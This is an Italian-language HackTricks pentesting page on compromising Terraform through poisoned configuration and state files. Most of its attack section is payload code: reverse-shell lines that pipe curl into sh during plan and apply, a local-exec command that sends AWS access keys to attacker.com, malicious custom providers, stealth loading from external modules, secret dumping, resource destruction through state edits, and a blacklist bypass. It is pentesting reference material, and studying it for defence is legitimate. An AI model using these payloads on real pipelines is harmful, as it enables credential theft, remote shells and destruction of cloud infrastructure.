Terraform Security

Supporta HackTricks

Informazioni di base

Dal documento:

HashiCorp Terraform è uno strumento di infrastruttura come codice che ti consente di definire sia risorse cloud che on-prem in file di configurazione leggibili dall'uomo che puoi versionare, riutilizzare e condividere. Puoi quindi utilizzare un flusso di lavoro coerente per fornire e gestire tutta la tua infrastruttura durante il suo ciclo di vita. Terraform può gestire componenti a basso livello come risorse di calcolo, archiviazione e rete, così come componenti ad alto livello come voci DNS e funzionalità SaaS.

Come funziona Terraform?

Terraform crea e gestisce risorse su piattaforme cloud e altri servizi attraverso le loro interfacce di programmazione delle applicazioni (API). I provider consentono a Terraform di lavorare praticamente con qualsiasi piattaforma o servizio con un'API accessibile.

HashiCorp e la comunità di Terraform hanno già scritto più di 1700 provider per gestire migliaia di diversi tipi di risorse e servizi, e questo numero continua a crescere. Puoi trovare tutti i provider disponibili pubblicamente nel Terraform Registry, inclusi Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e molti altri.

Il flusso di lavoro principale di Terraform consiste in tre fasi:

  • Scrivi: Definisci risorse, che possono essere distribuite su più provider e servizi cloud. Ad esempio, potresti creare una configurazione per distribuire un'applicazione su macchine virtuali in una rete Virtual Private Cloud (VPC) con gruppi di sicurezza e un bilanciatore di carico.

  • Pianifica: Terraform crea un piano di esecuzione che descrive l'infrastruttura che creerà, aggiornerà o distruggerà in base all'infrastruttura esistente e alla tua configurazione.

  • Applica: Su approvazione, Terraform esegue le operazioni proposte nell'ordine corretto, rispettando eventuali dipendenze delle risorse. Ad esempio, se aggiorni le proprietà di un VPC e cambi il numero di macchine virtuali in quel VPC, Terraform ricreerà il VPC prima di scalare le macchine virtuali.

Laboratorio Terraform

Basta installare terraform sul tuo computer.

Qui hai una guida e qui hai il modo migliore per scaricare terraform.

RCE in Terraform

Terraform non ha una piattaforma che espone una pagina web o un servizio di rete che possiamo enumerare, quindi, l'unico modo per compromettere terraform è essere in grado di aggiungere/modificare i file di configurazione di terraform.

Tuttavia, terraform è un componente molto sensibile da compromettere perché avrà accesso privilegiato a diverse posizioni affinché possa funzionare correttamente.

Il modo principale per un attaccante di compromettere il sistema in cui terraform è in esecuzione è compromettere il repository che memorizza le configurazioni di terraform, perché a un certo punto verranno interpretate.

In realtà, ci sono soluzioni là fuori che eseguono automaticamente terraform plan/apply dopo che è stata creata una PR, come Atlantis:

Atlantis Security

Se riesci a compromettere un file terraform, ci sono diversi modi in cui puoi eseguire RCE quando qualcuno esegue terraform plan o terraform apply.

Terraform plan

Terraform plan è il comando più utilizzato in terraform e gli sviluppatori/soluzioni che utilizzano terraform lo chiamano tutto il tempo, quindi il modo più semplice per ottenere RCE è assicurarsi di avvelenare un file di configurazione terraform che eseguirà comandi arbitrari in un terraform plan.

Utilizzando un provider esterno

Terraform offre il provider esterno che fornisce un modo per interfacciarsi tra Terraform e programmi esterni. Puoi utilizzare la sorgente dati esterno per eseguire codice arbitrario durante un plan.

Iniettando in un file di configurazione terraform qualcosa di simile al seguente eseguirà una rev shell quando si esegue terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Utilizzando un provider personalizzato

Un attaccante potrebbe inviare un provider personalizzato al Terraform Registry e poi aggiungerlo al codice Terraform in un branch di funzionalità (esempio da qui):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Il provider viene scaricato nell'init e eseguirà il codice malevolo quando viene eseguito plan.

Puoi trovare un esempio in https://github.com/rung/terraform-provider-cmdexec

Utilizzando un riferimento esterno

Entrambe le opzioni menzionate sono utili ma non molto furtive (la seconda è più furtiva ma più complessa della prima). Puoi eseguire questo attacco anche in un modo più furtivo, seguendo questi suggerimenti:

  • Invece di aggiungere direttamente la rev shell nel file terraform, puoi caricare una risorsa esterna che contiene la rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Puoi trovare il codice rev shell in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Nella risorsa esterna, usa la funzione ref per nascondere il codice rev shell terraform in un branch all'interno del repo, qualcosa come: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply verrà eseguito per applicare tutte le modifiche, puoi anche abusarne per ottenere RCE iniettando un file Terraform malevolo con local-exec. Devi solo assicurarti che qualche payload come i seguenti termini nel file main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Segui i suggerimenti della tecnica precedente per eseguire questo attacco in modo più furtivo utilizzando riferimenti esterni.

Dump di Segreti

Puoi avere valori segreti utilizzati da terraform dumpati eseguendo terraform apply aggiungendo al file terraform qualcosa come:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Abusing Terraform State Files

Nel caso in cui tu abbia accesso in scrittura ai file di stato di terraform ma non possa modificare il codice terraform, questa ricerca offre alcune opzioni interessanti per sfruttare il file:

Deleting resources

Ci sono 2 modi per distruggere le risorse:

  1. Inserire una risorsa con un nome casuale nel file di stato che punta alla vera risorsa da distruggere

Poiché terraform vedrà che la risorsa non dovrebbe esistere, la distruggerà (seguendo l'ID della vera risorsa indicato). Esempio dalla pagina precedente:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Modifica la risorsa da eliminare in un modo che non sia possibile aggiornare (quindi verrà eliminata e ricreata)

Per un'istanza EC2, modificare il tipo dell'istanza è sufficiente per far sì che terraform la elimini e la ricrei.

RCE

È anche possibile creare un provider personalizzato e semplicemente sostituire uno dei provider nel file di stato di terraform con quello malevolo o aggiungere una risorsa vuota con il provider malevolo. Esempio dalla ricerca originale:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Sostituire il provider in blacklist

In caso tu incontri una situazione in cui hashicorp/external è stato messo in blacklist, puoi re-implementare il provider external facendo quanto segue. Nota: utilizziamo un fork del provider esterno pubblicato da https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o re-implementazione.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Poi puoi usare external come al solito.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Audit Tools

  • tfsec: tfsec utilizza l'analisi statica del tuo codice terraform per individuare potenziali misconfigurazioni.

  • terascan: Terrascan è un analizzatore di codice statico per Infrastructure as Code.

References

Support HackTricks

Last updated